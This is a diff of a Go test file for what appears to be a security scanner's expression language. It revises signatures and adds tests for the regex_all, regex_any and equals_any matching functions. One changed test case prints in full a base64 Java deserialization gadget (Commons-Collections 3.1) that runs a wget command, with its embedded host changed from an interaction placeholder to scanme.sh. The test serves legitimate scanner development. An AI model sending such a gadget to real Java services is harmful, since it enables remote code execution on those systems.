@@ -252,7 +252,7 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) {
252
252
dec_to_hex(arg1 interface{}) interface{}
253
253
deflate(arg1 interface{}) interface{}
254
254
ends_with(str string, suffix ...string) bool
255
- equals_any(arg1, arg2 interface{}) interface{}
255
+ equals_any(s interface{}, subs ... interface{}) bool
256
256
generate_java_gadget(arg1, arg2, arg3 interface{}) interface{}
257
257
generate_jwt(jsonString, algorithm, optionalSignature string, optionalMaxAgeUnix interface{}) string
258
258
gzip(arg1 interface{}) interface{}
@@ -289,8 +289,8 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) {
289
289
rand_text_alphanumeric(length uint, optionalBadChars string) string
290
290
rand_text_numeric(length uint, optionalBadNumbers string) string
291
291
regex(arg1, arg2 interface{}) interface{}
292
- regex_all(arg1, arg2 interface{}) interface{}
293
- regex_any(arg1, arg2 interface{}) interface{}
292
+ regex_all(pattern string, inputs ...string) bool
293
+ regex_any(pattern string, inputs ...string) bool
294
294
remove_bad_chars(arg1, arg2 interface{}) interface{}
295
295
repeat(arg1, arg2 interface{}) interface{}
296
296
replace(arg1, arg2, arg3 interface{}) interface{}
@@ -381,9 +381,9 @@ func TestDslExpressions(t *testing.T) {
381
381
`deflate("Hello")` : "\xf2 \x48 \xcd \xc9 \xc9 \x07 \x04 \x00 \x00 \xff \xff " ,
382
382
`inflate(hex_decode("f348cdc9c90700"))` : "Hello" ,
383
383
`inflate(hex_decode("f248cdc9c907040000ffff"))` : "Hello" ,
384
- `gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))` : "Hello" ,
385
- `generate_java_gadget("commons-collections3.1", "wget https://{{interactsh-url}}", "base64")` : "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAH3dnZXQgaHR0cHM6Ly97e2ludGVyYWN0c2gtdXJsfX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==" ,
386
- `generate_jwt("{\"name\":\"John Doe\",\"foo\":\"bar\"}", "HS256", "hello-world")` : []byte ("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U" ),
384
+ `gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))` : "Hello" ,
385
+ `generate_java_gadget("commons-collections3.1", "wget http://scanme.sh", "base64")` : "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAFXdnZXQgaHR0cDovL3NjYW5tZS5zaHQABGV4ZWN1cQB%2BABsAAAABcQB%2BACBzcQB%2BAA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4" ,
386
+ `generate_jwt("{\"name\":\"John Doe\",\"foo\":\"bar\"}", "HS256", "hello-world")` : []byte ("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U" ),
387
387
`base64_decode("SGVsbG8=")` : "Hello" ,
388
388
`hex_decode("6161")` : "aa" ,
389
389
`len("Hello")` : float64 (5 ),
@@ -703,3 +703,113 @@ func Test_Zlib_decompression_bomb(t *testing.T) {
703
703
// Cannot be greater than 10MB
704
704
require .LessOrEqual (t , int64 (len (actualResult .(string ))), DefaultMaxDecompressionSize , "The result is too large" )
705
705
}
706
+
707
+ func TestRegexFunctions (t * testing.T ) {
708
+ t .Run ("regex" , func (t * testing.T ) {
709
+ tests := map [string ]interface {}{
710
+ `regex("H([a-z]+)o", "Hello")` : true ,
711
+ `regex("\\d+", "abc")` : false ,
712
+ `regex("[a-z]+", "123")` : false ,
713
+ `regex("^\\d+$", "123abc")` : false ,
714
+ `regex("(?i)HELLO", "hello")` : true ,
715
+ `regex("^$", "")` : true ,
716
+ `regex("\\s+", "nospaces")` : false ,
717
+ `regex("\\s+", "has some spaces")` : true ,
718
+ `regex("^\\w+@\\w+\\.\\w+$", "[email protected] ")` :
true ,
719
+ }
720
+ testDslExpressions (t , tests )
721
+ })
722
+
723
+ t .Run ("regex_all" , func (t * testing.T ) {
724
+ tests := map [string ]interface {}{
725
+ // Basic numeric tests
726
+ `regex_all("\\d+", "123", "456", "789")` : true ,
727
+ `regex_all("\\d+", "123", "abc", "789")` : false ,
728
+ `regex_all("\\d+", "abc", "def", "ghi")` : false ,
729
+
730
+ // Pattern matching tests
731
+ `regex_all("[a-z]+", "abc", "def", "ghi")` : true ,
732
+ `regex_all("[A-Z]+", "ABC", "DEF", "GHI")` : true ,
733
+ `regex_all("^[a-z]$", "a", "b", "c")` : true ,
734
+ `regex_all("^\\w+$", "abc", "123", "abc123")` : true ,
735
+
736
+ // Edge cases
737
+ `regex_all("^$", "", "", "")` : true ,
738
+ `regex_all(".*", "", "abc", "123")` : true ,
739
+ `regex_all("^\\s*$", " ", " ", " ")` : true ,
740
+ `regex_all("^\\s+$", " ", " ", " ")` : true ,
741
+
742
+ // Email pattern test
743
+ `regex_all("^\\w+@\\w+\\.\\w+$", "[email protected] ", "[email protected] ")` :
true ,
744
+ `regex_all("^\\w+@\\w+\\.\\w+$", "[email protected] ", "invalid")` :
false ,
745
+
746
+ // Case sensitivity tests
747
+ `regex_all("(?i)test", "TEST", "Test", "test")` : true ,
748
+ `regex_all("test", "TEST", "Test", "test")` : false ,
749
+ }
750
+ testDslExpressions (t , tests )
751
+ })
752
+
753
+ t .Run ("regex_any" , func (t * testing.T ) {
754
+ tests := map [string ]interface {}{
755
+ // Basic numeric tests
756
+ `regex_any("\\d+", "123", "abc", "789")` : true ,
757
+ `regex_any("\\d+", "abc", "def", "ghi")` : false ,
758
+ `regex_any("\\d+", "123", "456", "789")` : true ,
759
+
760
+ // Pattern matching tests
761
+ `regex_any("[a-z]+", "ABC", "def", "GHI")` : true ,
762
+ `regex_any("[A-Z]+", "abc", "def", "GHI")` : true ,
763
+ `regex_any("^[a-z]$", "1", "b", "2")` : true ,
764
+ `regex_any("^\\w+$", "!!!", "@#$", "abc123")` : true ,
765
+
766
+ // Edge cases
767
+ `regex_any("^$", "a", "b", "")` : true ,
768
+ `regex_any("^$", "a", "b", "c")` : false ,
769
+ `regex_any("^\\s+$", "abc", " ", "def")` : true ,
770
+
771
+ // Email pattern test
772
+ `regex_any("^\\w+@\\w+\\.\\w+$", "invalid", "[email protected] ")` :
true ,
773
+ `regex_any("^\\w+@\\w+\\.\\w+$", "invalid1", "invalid2")` : false ,
774
+
775
+ // Case sensitivity tests
776
+ `regex_any("(?i)test", "ABC", "Test", "xyz")` : true ,
777
+ `regex_any("test", "TEST", "TEST", "TEST")` : false ,
778
+ }
779
+ testDslExpressions (t , tests )
780
+ })
781
+ }
782
+
783
+ func TestEqualAnyFunction (t * testing.T ) {
784
+ t .Run ("equals_any" , func (t * testing.T ) {
785
+ tests := map [string ]interface {}{
786
+ // Basic string matching tests
787
+ `equals_any("test", "test", "foo", "bar")` : true ,
788
+ `equals_any("foo", "test", "bar", "baz")` : false ,
789
+ `equals_any("hello", "hello", "world")` : true ,
790
+ `equals_any("world", "hello", "world")` : true ,
791
+ `equals_any("none", "hello", "world")` : false ,
792
+
793
+ // Empty string tests
794
+ `equals_any("", "", "test")` : true ,
795
+ `equals_any("test", "", "test")` : true ,
796
+ `equals_any("", "test", "foo")` : false ,
797
+
798
+ // Case sensitivity tests
799
+ `equals_any("TEST", "test", "Test", "TEST")` : true ,
800
+ `equals_any("test", "TEST", "Test")` : false ,
801
+
802
+ // Special characters tests
803
+ `equals_any("test.com", "test.com", "test-com")` : true ,
804
+ `equals_any("test-com", "test.com", "test_com")` : false ,
805
+ `equals_any("test@123", "test@123", "test123")` : true ,
806
+
807
+ // Numeric value tests (converted to string)
808
+ `equals_any("123", "123", "456", "789")` : true ,
809
+ `equals_any("123", 123, "456", "789")` : true ,
810
+ `equals_any(123, "123", "456", "789")` : true ,
811
+ `equals_any("123", "456", "789")` : false ,
812
+ }
813
+ testDslExpressions (t , tests )
814
+ })
815
+ }
0 commit comments